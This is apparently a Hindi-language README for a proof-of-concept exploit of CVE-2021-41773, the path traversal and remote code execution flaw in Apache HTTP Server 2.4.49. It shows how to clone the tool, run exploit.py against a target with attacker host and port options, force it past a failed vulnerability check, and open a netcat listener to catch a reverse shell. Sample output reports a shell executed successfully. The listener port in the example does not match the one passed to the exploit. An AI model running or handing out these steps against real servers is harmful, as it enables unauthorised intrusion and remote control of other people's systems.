CVE-2021-41773 - Apache HTTP Server 2.4.49 पथ ट्रैवर्सल और RCE

📖 विवरण

यह CVE-2021-41773 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो Apache HTTP Server 2.4.49 में एक पथ ट्रैवर्सल और रिमोट कोड निष्पादन भेद्यता है।

भेद्यता विवरण

CVE: CVE-2021-41773
प्रभावित संस्करण: Apache HTTP Server 2.4.49
भेद्यता प्रकार: पथ ट्रैवर्सल → रिमोट कोड निष्पादन

🚀 उपयोग

स्थापना

git clone https://github.com/adrianmafandy/CVE-2021-41773
cd CVE-2021-41773
pip install requests

मूल उपयोग

# Basic syntax
python3 exploit.py -t <TARGET-URL> -lh <LHOST> -lp <LPORT>

# Force exploitation even if vulnerability check fails
python3 exploit.py -t <TARGET-URL> -lh <LHOST> -lp <LPORT> -f

उदाहरण

# Basic syntax
python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337

# Force exploitation even if vulnerability check fails
python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337 -f

लिसनर सेट करें

एक्सप्लॉइट चलाने से पहले, एक netcat लिसनर सेट करें:

nc -lvnp 4444

अपेक्षित आउटपुट

$ python3 exploit.py -t 192.168.1.100 -lh 10.0.0.5 -lp 1337

     ______
    (_____ \
     _____) ) _ _ ____   ____ ___   ____
    |  ____/ | | |  _ \ / ___) _ \ / _  |
    | |    | | | | | | | |  | |_| ( (_| |
    |_|     \___/|_| |_|_|   \___/ \___ |
                                  (_____|

       Apache2 2.4.49 - CVE-2021-41773

   
[*] Checking if target is vulnerable...
[+] Target is VULNERABLE!
[*] Executing reverse shell payload...
[+] Reverse shell payload executed successfully!
[*] Check your listener

CVE-2021-41773

सबसे लोकप्रिय

CVE-2021-41773 - Apache HTTP Server 2.4.49 पथ ट्रैवर्सल और RCE

📖 विवरण

भेद्यता विवरण

🚀 उपयोग

स्थापना

मूल उपयोग

उदाहरण

लिसनर सेट करें

अपेक्षित आउटपुट